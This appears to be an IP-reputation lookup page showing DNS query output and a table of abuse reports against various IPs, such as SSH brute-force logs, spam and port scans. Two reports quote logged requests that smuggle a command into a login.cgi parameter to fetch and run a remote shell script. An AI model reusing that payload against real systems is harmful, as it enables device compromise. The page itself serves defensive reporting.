City: unknown
Region: unknown
Country: Malaysia
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 103.27.74.99
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43497
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;103.27.74.99. IN A
;; AUTHORITY SECTION:
. 213 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022021700 1800 900 604800 86400
;; Query time: 65 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Fri Feb 18 01:23:02 CST 2022
;; MSG SIZE rcvd: 10599.74.27.103.in-addr.arpa domain name pointer earth2.sfdns.net.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
99.74.27.103.in-addr.arpa name = earth2.sfdns.net.
Authoritative answers can be found from:| IP | Type | Details | Datetime |
|---|---|---|---|
| 114.5.21.206 | attackspambots | [ES hit] Tried to deliver spam. |
2019-12-23 17:21:42 |
| 163.172.128.177 | attack | Automatic report - XMLRPC Attack |
2019-12-23 17:34:16 |
| 167.99.65.138 | attack | 2019-12-23T09:36:59.386174vps751288.ovh.net sshd\[9141\]: Invalid user claas from 167.99.65.138 port 59790 2019-12-23T09:36:59.393962vps751288.ovh.net sshd\[9141\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.99.65.138 2019-12-23T09:37:01.468593vps751288.ovh.net sshd\[9141\]: Failed password for invalid user claas from 167.99.65.138 port 59790 ssh2 2019-12-23T09:43:16.130355vps751288.ovh.net sshd\[9201\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.99.65.138 user=root 2019-12-23T09:43:18.295051vps751288.ovh.net sshd\[9201\]: Failed password for root from 167.99.65.138 port 36774 ssh2 |
2019-12-23 17:17:46 |
| 80.211.76.122 | attack | Invalid user admin from 80.211.76.122 port 52196 |
2019-12-23 17:44:26 |
| 27.115.115.218 | attackbots | Dec 23 08:53:18 zeus sshd[15626]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.115.115.218 Dec 23 08:53:20 zeus sshd[15626]: Failed password for invalid user pcap from 27.115.115.218 port 50792 ssh2 Dec 23 08:58:30 zeus sshd[15767]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.115.115.218 Dec 23 08:58:32 zeus sshd[15767]: Failed password for invalid user i18n from 27.115.115.218 port 36254 ssh2 |
2019-12-23 17:09:48 |
| 51.91.251.20 | attack | ssh brute force |
2019-12-23 17:29:11 |
| 103.242.168.20 | attack | Dec 23 16:37:59 our-server-hostname postfix/smtpd[29275]: connect from unknown[103.242.168.20] Dec x@x Dec x@x Dec x@x Dec x@x Dec x@x Dec x@x Dec x@x Dec x@x Dec x@x Dec x@x ........ ----------------------------------------------- https://www.blocklist.de/en/view.html?ip=103.242.168.20 |
2019-12-23 17:18:50 |
| 203.142.69.203 | attackbots | Dec 23 09:41:08 sso sshd[14703]: Failed password for backup from 203.142.69.203 port 57431 ssh2 ... |
2019-12-23 17:13:58 |
| 156.196.188.149 | attackbots | wget call in url |
2019-12-23 17:04:11 |
| 41.239.41.131 | attackbots | 1 attack on wget probes like: 41.239.41.131 - - [22/Dec/2019:12:18:09 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11 |
2019-12-23 17:08:32 |
| 156.208.164.229 | attackbots | 1 attack on wget probes like: 156.208.164.229 - - [22/Dec/2019:11:35:16 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 11 |
2019-12-23 17:19:13 |
| 125.99.173.162 | attack | pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.99.173.162 user=root Failed password for root from 125.99.173.162 port 20163 ssh2 Invalid user alok from 125.99.173.162 port 20793 pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=125.99.173.162 Failed password for invalid user alok from 125.99.173.162 port 20793 ssh2 |
2019-12-23 17:14:41 |
| 142.93.94.86 | attackspam | Dec 22 23:27:42 wbs sshd\[26653\]: Invalid user piranha from 142.93.94.86 Dec 22 23:27:42 wbs sshd\[26653\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=142.93.94.86 Dec 22 23:27:44 wbs sshd\[26653\]: Failed password for invalid user piranha from 142.93.94.86 port 49156 ssh2 Dec 22 23:33:38 wbs sshd\[27212\]: Invalid user root3333 from 142.93.94.86 Dec 22 23:33:38 wbs sshd\[27212\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=142.93.94.86 |
2019-12-23 17:36:15 |
| 92.118.37.58 | attack | 12/23/2019-03:49:46.475808 92.118.37.58 Protocol: 6 ET SCAN NMAP -sS window 1024 |
2019-12-23 17:05:37 |
| 218.92.0.212 | attackbotsspam | SSH Login Bruteforce |
2019-12-23 17:26:39 |